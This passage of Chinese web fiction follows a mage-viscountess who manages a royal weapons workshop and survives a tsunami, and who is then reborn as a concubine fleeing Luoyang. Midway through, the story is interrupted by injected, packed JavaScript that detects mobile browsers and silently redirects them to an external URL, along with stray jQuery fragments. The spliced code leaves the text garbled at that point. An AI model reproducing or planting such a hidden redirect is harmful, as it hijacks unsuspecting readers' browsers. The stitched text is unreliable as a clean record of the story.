“……”对,军部出。拉格坦斯彻底无语。其实吧,这位还是在后方,高兴的时候做点东西就谢天谢地了。军部还不得不乖乖奉上苏茜要求的工具房、实验室、锻造间、原材料等等,但他们的好处也非常明显,因为苏茜一点不藏私,甚至要求安排一批熟练工匠做全部非法师亲自动手的工序,大幅度提高效率。另外,她将煅烧温度更高的焦煤引入高级锻造过程,算是给纳瑟斯的最后一点点兄妹情了,其他的就最多是亲情价的来往,与西西丽亚的一样优惠。 在高效和高质量之间,出于对战争的需求军部选择了高效,因此带着流水线特征的制造方式使得他们在半年时间内获得一批数百件介于附魔和奥术武.器之间的“破碎宝石作品”,适合大剑师们配合基础奥术使用,更加利索地收割敌人的生命。 苏茜还带了三名“徒弟”,全部是初级法师——级别跟她一样,创新和经验相去甚远。她非常有耐心地教会了这三人,导致效率提升到年产两千多件,这下战场上的高级大剑士都有好武.器可用。 拉格坦斯夸张地单膝下跪亲吻她的指尖——私下的,是在看到三十大车的高级大剑和弩弓时喜极而泣。所以他要去为粮草奋斗了,可再怎么奋,也不敢奋到苏茜家那俩领地上,就怕苏茜撂挑子不干了:她的点子层出不穷,过几年就会有新东西出来,“徒弟”们跟着学都来不及。 战场那边终于打完了。 双方战死七八万骑士,残疾的不下五万。纳瑟斯秉承苏茜的作风,伤残义务兵都从事领地护卫和管理工作,力所能及地自食其力,而抚恤一点没减少,因此他很快就站稳了这个爵位。 “祝贺你,苏茜-苏拉尔-金子爵。”宫廷大臣亲自将爵位文件、徽章等交给苏茜,然后在新年前一天参加集体效忠仪式,就算是新任非世袭子爵。这类女子爵并不多,每年平均不超过两名。因为大部分女性职业者都拿不到非世袭男爵,更不要说是子爵。 “多谢您。”用“切磋”拿到手的大剑师级常礼服配合炼金师法袍,一柄外观朴素、式样不算主流的佩剑,以及有微光流过却显得颇旧的战靴。这身打扮任谁都不敢说她衣着不当,不然小心挨拳头。 “请记得参加今晚宴会。”宫廷大臣绝对不想同时招惹苏茜和她家人,听说她弟弟已经是个满肚子坏心眼的家伙,她哥哥即使伤重得无法上战场现在也是领地世袭子爵了,还是眼前这位“转让”的。一家子狠人真是让人嫉妒不起来! “感谢您的提醒,我会参加。” 结果等苏茜从皇宫出来,回长期租住的评议会酒店三楼套房,另一位让人牙疼的大臣在小会客室等着呢! “嘿,尊敬的拉格坦斯大臣,”从副大臣转正了,原来的大臣是元老级将领,年纪已经超过百岁,在今冬第一个寒潮来临时突然病逝。 “别笑话我了。”还不到七十岁、愁成秃头的拉格坦斯一口喝干酒店共享管家送来的茶。酒店的服务不错,不论是面积、布置、景观还是餐饮、服务,综合起来对得起每年一千二百金币不含正餐、但包括茶点的房价。评议会里很多贵族或富豪议员都长期租住这家酒店,连专业管家都有二十几位。 管家和服务生放下半桌子的东西退下后,拉格坦斯摇摇头,“你知道吗?金将军那边少了一位副将。” “知道。听说正在选人。”反正不会是她! “现在不是战争状态,所以乐意去当个无功无过的副将的人很少。乐意去的金将军看不上。” “我没有资格。” “知道。” “所以?” “所以管皇家军械工场的年轻军官去当你父亲的副将了。” “然后?” “然后皇家军械工场只有工头,没有可以镇得住的主管。” “让我去管工场?有薪水吗?” “有。不高。”没有酒店房间的价格高,因此前面的主管不想干的原因是收入过低且压力太大。“不过那里的设施、住宅,你随便用,匠人随便调用,你个人的作品收益跟之前一样。”都用金币和魔力宝石结算,虽然价格仍然低得让人难以置信,可是好处体现在她的爵位上,毕竟如果她卖给贵族富豪商人而不提供给军部就别想有子爵爵位,有时候社会地位不是金币数可以抵消的。 “可以!”拉格坦斯特意提到住宅,说明不是办公室后面连着的小休息室。省金币啊!哪怕养一个厨娘一个洗衣一个打扫也花不了多少。 事实上宅子是三楼五底,一群工匠的妻儿哭着喊着要为新来的女子爵服务,顺便赚些银币。苏茜差点想翻白眼,光是仆役的工资和衣食用度就用掉工资的十分之一还多,难怪前任主管跑了。她最后不得不自掏腰包培训雇佣了三名厨娘和五名清洁工,专门为工坊服务。另外还带来了她的平价食谱,能把便宜普通的食物做得好吃。有脂肪、蛋白质、膳食纤维、碳水化合物的三明治就着热乎乎的肉汤,可比面包加便宜麦酒健康多了。此外,车间地面不再脏乱差,而是随时可以接受大臣们的视察。 她甚至还用非常低廉的工钱,雇佣了一批这些工匠家的子女干重复劳动。 “——请记住,我们的任务,是减少战场上士兵的伤亡,否则你们的儿子、孙子就会被送到战场上冲锋。你们知道第一轮冲锋可能就要损失三成的士兵。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152578|193506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “——吃!尽管吃饱,虽然肉不算多,但我会尽量让食物做得好吃些。 “——谁要是蓄意搞破坏,就会被绞死,严重的话家属都会被流放;谁要是消极怠工,那就请离开这里。我能够直接找大臣沟通,完全不怕别人说我太无情。” 苏茜用冷血、食物、效率和家庭制造更多成果,发过来要求更多拨款。 然后她就亲自改进制造流程。在更好待遇和更多收入的刺激下,除了个别的不肯好好干活的工匠被她一脚踢走之外,整个皇家工坊在没有扩建和大量增加工匠的前提下,做出来的好兵刃居然增加了四成。 …… 锋锐的剑刃带着火系威力将想爬进主管卧室窗户的带刀歹徒砍成两半。在这之前,在清淡的茶水里加了味道奇怪迷药的女仆被当场抓包,才有了后来的防范。 那歹徒是被开除的工匠,女仆是他的情人,后者被判终身服苦役。跑来工坊大哭大闹要求补偿的家属直接挨了一顿鞭子,并且当着看热闹的人宣布了两个犯人的罪行和下场,搞得几个成了年的家属捂着伤跑了。 备受争议的新任主管、女子爵大人可不是好惹的,杀人打人判刑毫不犹豫,一点不像一位淑女。 “淑女不会去研究武.器制造。只把她当成初级大剑师兼中级炼金法师就行了。”拉格坦斯完全站在苏茜这边,“所以,老兄,你是打算送你儿子去边境吗?” “……不,不想。”其实他们想要的是工场主管职务,多能来钱啊!可惜,他要是敢伸手,先得损失一个婚生子。 “还是你另外的那个儿子?” “……我原本想让他在工场里任职的。” “他能制造奥术武.器?还是能改良现有制式武.器?还是能不增加预算,提高四成的产量?我说的很清楚了,不加预算,但是质量和数量都给我提升。你那私生子除了搂钱,还能干嘛?贪皇帝陛下的钱,想被绞死吗?”那位女子爵都有本事不声不响地让人消失好不好!听说她也能将人沉到地下挖不到尸.体,更不要说能让一栋房子变成石棺沉入地底的苏拉尔女大公,这白痴以为那个内政副大臣是干嘛的?是搜集证据抄家灭口的! 另一边的听证会上,大家在争论,面对精锐士兵的巨大损失,是大力发展骑士学校,还是加强平民服役士兵的训练和装备。两者都需要大量的时间和金钱,最后的结论是两个都要做,有多少预算和装备就办多少事。 看着最后的文件,拉格坦斯微微笑,装备增加了,但支出没有大幅增加哦!他有举荐之功哦!不过大批教官的人选,还有布防和粮草后勤……他已经没有头发可以扯了,真可悲!军事副大臣的人选怎么还没定! 然后年纪比拉格坦斯还大几岁的奇卡拉公爵成了副大臣。而可怜的、暴躁的、无可奈何的邓森-奇卡拉,新任副大臣的第三个儿子,就被当成跑腿、派来与苏茜对接。 “邓森!”用可怕的火系附魔箭头将金属箭靶烧坏后,苏茜乐呵呵地与副大臣助手见面,还客客气气地请他喝下午茶。她的个人厨娘肉菜和饼干都做得很好,至于奶茶还是自己动手就行。 “有好几年没见了。”邓森的笑容略僵硬。那个铁制靶子居然烧!坏!了!那么穿着铁甲的人挨一箭的话就成人形火炬了。 “你觉得这个箭怎么样?一次性附魔箭支,要配合奥术长弓才划算,射偏就浪费了。” “好极了。”可怕极了。哦不,厉害死了。 两人的交易依旧有效,一个希望有优质的武.器提供者,一个希望有不罗嗦又安全的顾客,而且现在加了个纳瑟斯,苏茜并不直接与邓森交易,做到只给家人和军部的承诺,各得其所、心平气和。但两个人有其他的交易。 “这个箭……” “不能给你。”特征太明显,是她借鉴了符箓琢磨出来的,一时之间独此一家。 “那个?”给他领地上的义务兵的附魔武.器,可以大幅减少抚恤金的支出以及对人才的无用消耗,还能收买人心。 “可以。”这是很通用的手法,大部分的法师都能做。 “好,谢谢。”便宜好用,独此一家。 邓森塞了颗魔力宝石,她高高兴兴地接下。这就是人情交易的好处,在强大的价格优势面前,对方不敢提任何要求。 “最近有几家为了继承权斗得厉害,搞不好会找你定制小刀什么的。别理会。” “我的作品只给家人、特指我父母和兄姐四位,以及军部。而且不接受定制。”苏茜再次强调。还有自用,比如她就在大臣先生的暗示下,让一个胆敢朝自己伸手的家伙从这世界上消失——没有尸体哦,至于痕迹鉴定什么的,等这个世界发展出高科技再说吧! “明白了!”跑到她面前的只会自取其辱,弄得不好还会丢掉性命。 各种邀请函、请柬平均每天有两份,之前是送到酒店现在则送到工场后方、小楼侧边一百卡林处的工坊门房。 门房是士兵,现役,苏茜的命令是照章办事,不接受私人邀约和拜访,所以士兵们忠实地执行。想找她的人比她住酒店时更惨,完全碰不到面。没有风景名胜,没有商城娱乐,餐饮都比她自己培训出来的厨娘做的差,她还有什么理由出门?换上非常不舒服的裙子装淑女,还是换上男装给女士们说笑话?更不要说本地流行的妆造与她的审美不在一条路子。 所以她闷头在工场里亲自动手做母亲亲卫队的武.器——女大公现在干的活都是肃清奸细,能公开的就扔去大法官法院审批,不能公开的就地处理,这是皇太后和皇帝陛下分别与她面谈后的结果。苏茜很清楚自己的斤两和定位,所以只是规律地工作四天休息一天,勉强算是双休。这个世界没有基.督.教,自然没有“周”的概念,但通常人们用五天作为一个周期,月份也是十个月,而一年是350天。 苏茜这样的在公务贵族中算是勤勉的,因为新年假期她也是跟值守工匠和士兵们一起工作。这样才赶工出来父母两边亲卫队所需。 边境战事没有起,内部的问题多多。苏茜不参与国家评议会不等于一无所知,何况长姐西西丽亚学她建设领地,开发农产品精加工产业以及非果酒烈酒酿造,搞得风生水起。 苏茜很想说,西西丽亚完全是听了她随口说的用产量高的根茎类农产品酿酒的想法,现在居然在重奖的诱惑下有两家酿酒小作坊搞出来成品了……这是侵犯知识产权!可惜长姐也就用一年一车“好酒”打发她。啊呸!还好酒,只能用来做菜!苏茜心里骂骂咧咧,嘴上一个字不敢讲地做出来坚果酒蜂蜜蛋糕。 真的很好吃。 本国人工养蜂倒是历史挺长,所以蜂蜜也就是比黄糖贵一半的价格。这款蛋糕成了苏茜全家人的下午点心待客常见食谱,材料都不贵,只是工序、炉具、模具略复杂。 49.神陨的时代(七) “近来有什么不顺吗?”似乎用了点药剂,头发稍微长出来一些的老熟人、军事大臣哈肯-拉格坦斯见老朋友兼老同事苏茜-苏拉尔-金女子爵脸色有些阴沉,不由得担心起她会一口回绝自己的“无理要求”。 “不算不顺,因为不太懂一个设施的原理,做错了,得重头来。”她打算用奥术加材料弄个石制双层免预热蒸烤炉,可以在岛上用几千年的那种,但第一个作品就报废了。当然也有可能机械上做出来,实际做的食物不好吃?好在最后被她改为石灶台,也算是安慰奖。 不过这次她搞来不少工地废弃泥土,然后加上草木灰等高温处理成没有害虫的营养土,铺在岛上稍微改善再次被雨水冲刷得比较贫瘠的土地,然后不断冥想和施法,将岛上的大片植被的坡地大部分都调整为接近梯田的结构,然后再种子爵领地上的几种牧草。 她的“休息日”白天几乎都在岛上干农地的活。接下来还要跟炉子,不,不行干脆回归“原始”,用室内火塘之类的?可很多面包真的很难直接在火上解决……几种都弄吧,万一下一辈子倒霉地碰到更糟糕的环境呢?!还有燃料问题,她陆陆续续跟哥哥买了好多黑煤原煤,一部分在自己宅子里用来烧小铁炉烧水煮食,其他就放在岛上山间一个小石洞里,封了一半的洞口避免被风雨慢慢淋出来造成损失。 而最大的工程,将是造个石屋。 “那么……你愿意带队去边境看看吗?那里也想建个武.器工坊。”拉格坦斯直接放大招。 “哪里的边境?”苏茜觉得不对劲。 “算是新领土吧。” “那里安全?不会随时发生把东西留给敌人的事情?” “基本不会,纯粹是产地和运输的问题。” “?” “在西北边的海森半岛。我们新的港口,海港。” 苏茜点头,唯一的海港啊,那是要重兵!再重也值得。“地址定了吗?” “……还没有。现在只是设想。” “行,我先去看看,做了规划再运东西,免得运过去放个半年有盗窃和自然灾害损失。你也派些有经验的人一起去,包括建筑师,还有懂军事的,都要。” “明白!没问题!我立刻去准备!”这种吃力不讨好的事,国都上下真没人肯接。呵呵,这个计划可不止是一个工场的事……就是怕说多了被老朋友一口回绝,没有商量余地。 苏茜看看他,这样的事,事先告知了说不定都不需要这家伙跑一趟。所以,“除了工场建设还有什么?” “……布防和商贸区域如何区分开来。” 苏茜过了会儿才琢磨出意思,“行,懂行的多派几个,出问题我是不负责的,因为我只管工场。” “……我知道。”他好不容易花大代价长出来头发,搞不好又要秃了。 苏茜只来得及写几封信,安排后续工场工作,将手头的一些扫尾赶工做出来,就动手走了。 军部的效率“空前绝后”,短短十二天就装备好了。或者说他们其实是赶船期,找到一批人和物资就送上船。 船是河船,载了不少不算特别沉重的内部装修材料,一路从国都郊外的码头一直向北偏西。现在是春季,水面上的夜晚相当凉,完全没有快到夏天的感觉,直到只穿单衣的时候才到达海森半岛。船行四十天,算是挺久的。苏茜呆在狭小的船舱里并不无聊,她的地位摆在那里,一个人住一间有小露台的“高级”舱房,可也就是一间房间加一个小盥洗室,吃饭睡觉会客都在一个空间。因此开会碰面她一律都在餐厅或船长室。 “大人,您看了地图,觉得武.器工场建在哪里合适?” “新兵营,有不少空间。我不希望看到一堆无聊的市民、商人、小贵族聚集在工场门口,甚至想找机会进来。” “啊……我以为……”皇家工场与宫廷和禁卫军的军营都很有距离。 “皇家工场是个统称,制造武.器和其他很多东西,跟海森情况不一样。还有,工匠也用半军事化的管理,不然乱套了。合作工作的法师可以来,也可以将半成品、原材料送去法师的工作地点,但军民分开。也就是我,才能在杀死一人、绞死两人、流放三人之后什么事也没有、一句诘难也没收到,所以希望海森也少出现乱七八糟的事。” “……”这名军官没敢问是卫队还是这位女子爵亲手杀的,但死刑在任何时候都是重罪,因此这几年连皇家武.器工场也出了不少严重的事? 最后工作直接设在新建的营地里,征用三间联排中级军官营房作为高级武.器制造工场,中间的三层、两侧两层,构造结实耐用,空间大、门宽阔、内走廊,还有半地下室可以做仓库。联排用一条风雨走廊连接两座穹顶形石屋,本来这是厨房的位置,改为锻造铸造间。原来营里的锻造间也仍然要用。 这里可能已经接近北极圈了,夏季白日非常长,冬季黑夜非常长而且冰冻三尺,因此工程都是在夏季前后加起来半年多的时间里完成,不能太讲究。 苏茜这里,武.器工坊的优先级高于中级军官改善居住条件,毫无客气直接抢地盘。驻军连句话都不敢说,高级武.器工场,最要紧的就是高级二字,而且要求在军营的保护范围内,那么其重要性可想而知。 不过军部此时干了一件不太地道的事,在苏茜脑袋上扣了一个海森半岛陆地部队的副将建军需官头衔,每年假期五个月,战事期间除外。另外,皇家工坊的主管不变,只给配了两名中级炼金法师“副手”。俩中级给一个初级做配,也是挺那啥的。苏茜翻着白眼,报告里也毫不客气地要求在半岛的“海陆高级武.器工场”也要配至少两位初级炼金法师作为副主管,其中至少有一位对元素系“关键部件”有所钻研的。 她的暗示几乎是明示了,表明这个工场可不止是做陆战的东西。 要不是副将、军需官与皇家工场主管的薪酬是叠加而非就高不就低,她早就随便敷衍打发了。这三份收入加起来,终于让自己的金币收入超过当初穷得要死的领地子爵,另外头衔也配得上非世袭女子爵。边境重镇的副将兼军需官,真不是可以走门路谋得的职务。 不过在不得不与其他“专业人士”一起勘探规划其他基础建设时,地面一阵振动让她呆滞半晌后跳起来。 地震! 她无法判断方向距离震源深度,但有一个可怕的可能性,就是海啸! “快!敲响警钟,所有人远离海岸!退到高处!”副将是有权下令敲钟的,传令兵被振动晃晕片刻后反应过来,立刻跑走。 “所有人,往山岗的方向退!”谁都不知道会不会有海啸,会有多高的浪,三层楼的避难所搞不好会成为可怕的坟墓。城里有好几个小山岗,都在五层楼以上的高度。 苏茜也不是自己先跑的人,何况她是真心不怕海啸。所以让文职往山上去之后,亲自动身跑入镇子,指使镇长敲钟,让镇民和居民收拾东西关好门准备应对可能的灾难。 普通居民不清楚什么叫海啸,但方才的震动着实吓人,都恐慌地往家里或往山岗上跑。 再去城南的驻军营里,那里也在收拾东西,但速度偏慢。苏茜直接下令,锁好粮仓、武.器库铁门,带上武.器装备、个人重要财物,其他都不用管。而她则去工场收拾。 这时,第二次震动非常清晰地传来,还伴随着隐隐的不对劲声响。海上的。最可怕的事情发生了,海里地震或是火山。将一楼二楼十几间车间里的物品都收走,然后上到三楼时,她,看到了什么叫海啸。 算算时间,震中距离这里可能不超过,百万卡林的距离?她迅速收东西,在被活活溺死之前回了岛上。 岛上也在下雨,苏茜站了好半天才想起生炉子顺便烧水避免感冒。 一刻的计时沙漏过去,苏茜又过了会儿才回三楼。 黑乎乎的水还在,窗户全毁,只是没有没过头顶,而是到腰上。她回岛上又等了两刻,回来看到三楼的水退了。 看墙上的痕迹,最高水位到窗子上方。她翻到屋顶的斜坡上,这里没有淹水过后的痕迹。非常好,她就是在屋顶逃过一劫的。 无视一身脏湿衣服地回到三楼,走到楼梯口,水就在脚底。她拿出刚才收的东西,在水里浸一下再堆砌在三楼。 这些都做完,找出干粮啃了几口,再将刚才泡好、现在温热的一海碗热茶水一口气喝光。水已经退到二楼窗口齐平的位置。 整个军营以及半岛上唯一的小城,一半建筑都在水底。港口的船只大概没有完好的,好在这几天正巧没有大型内河或海运船队停靠,不然损失更大。 她没有逞能去搜救,而是用奥术烘干木柴,用一个大概用于热点心的小炉子点燃木柴,驱寒的同时冥想。 天黑时水才大致退去,但城市内涝极其严重。军营里也还有大量散发着不太宜人气息的水塘。苏茜之前都在抓紧时间清洗烘干衣服,不然作为一名女子爵也太没面子了。可出来工场才知道,大家身上都是一股子难以描述的咸臭味。 天气一直在下雨,温度不高,苏茜粗略打扫了锻造间,用水系奥术去掉木头里的水分,用火系奥术点燃炉子。岛上有过滤过的雨水,水不能拿出来,但弄点滤材还是可以的。她弄了不少小石子、细沙和木炭开始过滤饮用水,边过滤边将自己先用干净的茶水灌饱。 接着就是去粮仓。好在是她亲自跑步到粮仓前要求关门上锁,还拿了一份备用钥匙。现在打开一看,浸水是必然的,可由于门和墙壁的质量非常好,通风窗还非常高,只有一层楼左右的高度,包装袋子湿透。她榨干所有的奥术力量将水弄走,这个时候其他人才陆陆续续赶回来。 法师们还在后头,但大剑师们本身都是有奥术基础的,大家先抢救粮食和食材,接着是后勤物资和武.器装备,最后才轮到一股味道的被褥衣物。 累瘫了的苏茜慢吞吞步行回下榻的旅店。城里设施一般,居然军营最近的旅店与评议会酒店差了无数个档次,价格也只有零头,唯一的好处是旅店地势比较高,加上她的套间在三楼,虽然浸水,但连床单都没有湿,门窗也是完好的。就是没有食物供应。 苏茜无所谓,她有储备,甚至在来了海森之后增加了好几个储存箱,包括半个箱子的食物,在魔力宝石的作用下,熟食可以存放七八天、生肉十天左右、生的蔬菜二十天后还能凑合 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腹泻也会引起死亡!更不要说高热了。与会大小将领们谁也不想跟较真的法师辩论,因为她举了好几个的大规模死亡案例,最恶心的是因为饥饿吃了几只老鼠导致鼠疫爆发——似乎这些都不是超高海浪淹没城市后的例子,可她说的时候就听起来非常有可能的样子,个别将领已经在脑袋里免回描绘高热、全身疱疹、无力哀嚎三天三夜才死亡的恐怖情景…… 主将也是参加过建国战争的,虽然不是开国名将,可资历也是仅次于金将军的七十多岁老将。他隐晦地瞪了苏茜几眼,压下她的耸人听闻。不过灾后的灾难大家都是晓得厉害的,士兵们一点也不想与饥饿和染病的民众有交集。可偏偏他们的军营就在城里,跑都跑不掉! 等国都接到海森出事情的报告时,城内秩序已经恢复,没有出现要命的大规模疫病,没有过巨的损失。没有出现大规模火灾这类情况完全是因为本地房子大部分是石头造的,木质房屋毁坏了几十栋,只有几百个人因为感冒、腹泻、火灾、倒塌、摔跤等溺水之外的原因死亡。 主将对苏茜的态度更好了点,尤其是她搞出来战舰用弩阵之后,简直是见面就微笑,她回去休假前还自费送了不少价格不贵的本地特色伴手礼。苏茜-苏拉尔-金女子爵清廉贫困得简直像个神经病,跟军部讨价还价完全不讲脸面,但平时一个铜币的便宜也不占,还经常自掏腰包协助做好公务——这是一定小圈子里相传的真实笑话。 * * * “你说,这个是海……啸?”新名词啊! “对,两次震动之后,时间不久,就看到三层楼那么高的浪源源不断地扑上地面,淹没房屋,搬倒树木,冲走一切物品,以及人类和动物。我那时已经准备了一根木头,好在屋顶没有被淹没。很多舍不得财物的人就这样活生生溺死在房间里,还有躲在地窖里被直接埋葬。”苏茜在工场里焦头烂额时,被临时拉出来在评议会做汇报。 因为不是大会期间,参会的人并不齐,可也有好几百。在昂贵的扩音组合奥术道具的帮助下,她的声音稳稳地传遍所有角落。几个小贵族偶然开嘲讽,被她狠狠反击回去,还用了对方祖上并不怎么光彩的历史为例——西西丽亚的情报网以及女大公的办事能力绝不含糊。 各国议会席间的“表演”,她视频看多了,如今也算是亲自参与了一次,颇有成就感。 自此,再也不会有人仅仅以“西西丽亚的妹妹、那个穷哈哈的炼金法师”来看待她。 …… “奥术确实衰落了。”克鲁格教授轻叹着。从苏茜这一届开始至今,他的学生中竟然没有一名达到中级法师的标准。他还以为是自己教学水平不高的问题,可问了自己的同事们一圈,整个学院的毕业生,十年里升中级的只有一名。这种情况在大剑师群体里也出现了:奥术等级上不去,大剑师的等级也上不去。另外,魔力宝石的产量也在衰竭,其品质明显比几百年前普遍下降一大截。 “我个人认为,以后将是机械和工程技术、化学实践的世界。” “所以你始终将非奥术的武.器作为主攻方向?” “这倒不是。主要是数量和成本的问题,我当过领主,我一个人拼命做到死,也无法用奥术武.器装备所有的义务兵,那么必须降低一个档次,才能保住精英人才的生命。但普通士兵呢?培养一个合格的士兵最起码两年,一场冲锋就可能损失上千,而如果没有死亡、只是伤残,带来的后续问题更多。所以,我的目标是改良普通武.器,尽可能减少士兵的伤亡。”冷兵器时代,战场伤亡的上限在那里。 “你确实是个难得的好人。”实权贵族做到这个份上的,不说绝无仅有,也是很稀罕的。 “我不算善良吧。”善良的人不会研制杀伤性武.器。 “好人不等于毫无区别的善良。”好人可不是蠢货的代名词。 克鲁格教授对这个学生还是非常满意的,从她出名开始,想投入他名下的优秀学生更多了,其中不乏大贵族甚至皇室子弟。 “打扰您了。” “什么话!我很希望听到更多的消息,这样对我的研究有很大的帮助。” 苏茜放下伴手礼——海森半岛主将送的其中一部分——告辞离开。 在这神灵陨落的时代做个好人? 一点不难是吧! 50.衣冠不南渡(一) 不大的马车——没资格坐牛车——局促的布局里居然还嵌了个没有香灰只有木屑的马桶,加上一点点水和碳水点心。 现在苏茜是“谢苏氏茜娘”,还是个侧室! 另外这个夫家的可不是王谢的那个谢,而且洛阳的一个三等都达不到的小世家,跟陈郡谢氏没关系。当然,苏家也没好到哪里去,是胡汉混杂的陇西土地主旁支。她还是庶女,所以嫁到小世家给二房嫡子当妾算是好姻缘了。 好个屁! 这男的嫡妻是张氏,虽是庶子的庶女,可人家是正经二等世家。要不是苏茜是带着一点嫁妆的,还捞不到一个良妾的地位。即使如此,她得生了儿子才能上族谱。 生儿子?做梦! 望着桌上当晚饭的小米杂粮粥,苏茜面无表情、慢条斯理地吃掉。吃得太快、发出声音、姿势不优雅还会被仆人嘲笑。 现在算是逃亡,这家的家主脑子不清醒,还认为胡人会遵从汉人的“千年惯例”善待世家,直到听到大量世家被杀掠的惊人消息才匆匆忙忙跑路。 对了,因为坚持跑路也必须维持世家风范,所以跑得比较慢。要不是胡人军队现在正在洛阳城里烧杀作恶,他们根本跑不了。 可也很难说到底能否跑得掉。 这些人,甚至家里“德高望重”“见多识广”的妇人都不知道洛阳现在被哪一支胡族占据,可想而知这种世家还是别存在了。 苏茜回忆起所有后,压住脾气,按照贵族礼仪,还跪在张氏马车外黄昏请安,完完整整行完礼、说一堆制式的请安话,才被个趾高气昂的仆妇随便打发掉。 单人小马车设施算是齐备的,铺了席子的木板可坐可睡。好在苏茜根本不介意车厢里微微的排泄物气息,只等天黑好行动。 行驶在非常不平坦的道路上,主人家用牛车。而妾室以及更低的有马车,其他就是步行,跟不上就是死。衣冠南渡的意思,就是只有世家才跑掉,平民贱仆估计都没有机会将基因传承到千年后。 苏茜的脑袋略混乱,主要这里人的口音五花八门,传言事实混在一起。洛阳和她家乡的“官话”并不一样,居然还导致大家看不起她,“阿家”婆婆从不召见她。这方便了自己脱身。 这个身体体质还行,能骑马,甚至还能拉弓——也是被嘲笑的点,因为这年头男人文弱得不会骑马还能被追捧,女子风一吹就倒那叫纤弱柔美,跟苏氏的胡化风格完全不搭。 如果自己真是风一吹就倒才不想活了呢! 苏茜翻着自己被压缩到最少的四个“嫁妆箱子”,将里头乱七八糟没几样值钱的嫁妆和行李全部收到岛上。就是口粮问题略大。不过自家岛上捕鱼设备是齐备的,渔网还是上辈子的自己加固过的,没破。 那么今晚就走吧,口粮什么的,那口感真没啥可纠结的。 夏天不天天洗澡就罢了,还穿几层衣服。哪怕都是纱衣也热啊!另外,这里,没有卫生纸,至于竹筹这玩意……呃,不提不提。不熏香的话,连自己闻着隐隐的味道也不太舒服。她可没资格每次都用布帛擦PP。 这一路,不知道是主母刻意还是真的人手问题,反正苏茜都没有专用侍女,只有和另一名妾室“共用”的侍女,她打发走人——因为车里放了箱子就只能睡一个人——然后换衣服。 里面穿岛上的一身夏季武士服,外面再套本地寝衣。 入夜,周围开始静下来,只有队伍核心人物那边有灯光人声,她这只有偶然路过的值夜护卫路过。 苏茜耐心倾听,掀起一点帘子,看着火把队伍走远,立即将寝衣放回装备齐全就是满是灰尘的岛上石屋,然后准备蹑手蹑脚下车后再消失。 突然,有种不正常的声音传来。 苏茜倾听了会。马蹄声,不少,队伍一点不乱,让她以为是护卫队伍,赶紧回岛拿了寝衣和上辈子自制的长剑回来穿了。 结果没多久她就发现了:那是胡人劫匪!数量似乎不多,不到一百。但手上的刀不错,马匹更佳,速度来得飞快。 只会尖叫的男人女人们乱成一团。护卫队伍用几个字形容就是一触即溃。 气死了,她的弓箭一进门就被扔了,因为阿家捂住鼻子说居然有此等厌物。呵呵……她隔着车窗冷眼看着那队人的衣着,武.器和冲击的方向,盘算自己怎么办。 突然的,车帘被扯开,两个胡子拉碴还有口臭的家伙冲着她乐呵。 乐呵你个头! 手起剑落,虽然没有人头落地,但两个人连惨叫都没有,就被长剑两剑毙命。 长剑的各种附魔已经失效,区区长剑也要双手,可见自己原来的武力值非常不怎么样!苏茜闪身就回了岛上。 脱掉寝衣,换上已经破旧的皮革凉鞋,先用过滤水冲个澡,然后点上行李里的油灯,在暗淡的光线里清理石屋。 上辈子她预感到不对了,因此石屋里的石床、物资等都用布蒙起来,放上武器等物压住。 岛上有风,但没有门板窗玻璃的洞开门窗不对着风,屋中情况还算是好。布收起来明早海水里漂洗,地上灰尘用门边倒着的扫帚扫干净。 岛上天气凉爽,所以苏茜换了原来的寝衣,盖了原来的薄被,垫着车里的席子,一觉睡到上午被饿醒。 用原来自用的物品洗漱擦牙,炉子木炭是自己的收藏品,木头木炭煤球等都能用,甚至火柴燧石的也可以用! 点火烧水,之前就是崭新的锅子连其他东西就是蒙灰,简单用清水洗刷刷,煮一锅水倒掉,再煮一锅就能喝了。 将车子里剩余的点心都塞进嘴里当早午饭。然后带了东西出海捕鱼,还随手在礁石区捞了一只不大不小的螃蟹。 一点点耐存放的应急食物统统扔掉,包括明显变质的酒,包装收纳物则留着。 三小时后,一桶渔获里的海鱼都还活着被拎到岸边放着,装了虾蟹的桶则拎回厨房。 重新拿只大锅子出来,在海水里漂洗再舀半锅海水回来煮虾蟹。 没酒,没调料,直接吃。嗯,如果过敏就只能自尽了。 好在没有过敏。 先吃立刻熟的虾,很好吃。 接着清洗各种锅具餐具。洗完将螃蟹吃掉,不是很饱,但不饿了。 再去整理滤水池。在古代社会,好滤材是别想了,还是用原来的包括细沙和贝壳粉末。 最后拿出刀子和鱼叉继续赶海。这次目标是海藻和海带以及看看有没有鱼。 几条小船都是加固过的,自然还能用,连渔网那时也是因为囤货的习惯而囤了三个并且用炼金手法加工过。更别说那些布料毛皮毯子水壶……都能用!布料大部分尚未破成败絮,就是明显不行了,除少数依旧挺括外,其他用力一扯就能扯开。说明时间过去了至少五十年的样子,跟自己猜测的地球“归档”时间差不多。 现在是永嘉年间。 永嘉南渡是有记载的,记录看似很多字,有几千个大些的家族连同依附者,百万级人口南渡,还有侨姓吴姓之类的矛盾,而北方因为羯族的屠.杀、饥荒等只剩下几百万人口,还有一百多万胡人。 但,身处其间才知道,那些“详细记载”是千千万万人短暂的一生。一点用也没有。她被困在内宅,连后来几乎被消灭殆尽的羯族长什么样子都不知道。记得元蒙时期比江南汉人高一等的色目人是以雅利安混血为代表,西部比较多,东部中原的数量应该并不多。所以她估计羯族是个混血民族,被匈奴当成奴族压迫,后来翻身而变得极端疯狂,人口可能也就是几百万,是冷兵器屠戮数量的上限——大概只比死在伏尔加格勒人多一点。 苏茜叹息着,拖着满满的收获回厨房,再回来将水桶里死掉的几条鱼在礁石区去鳞去头去尾去内脏,用海水煮个海藻鱼。 大部分必需的东西都有,甚至盐都不用额外煮,就是缺主食。 睡了一会后,苏茜在半夜起来,先将剩下的鱼全煮了吃掉,然后换上长裤长袖,带好冷武.器闪出岛。 外面天黑了,没活人。 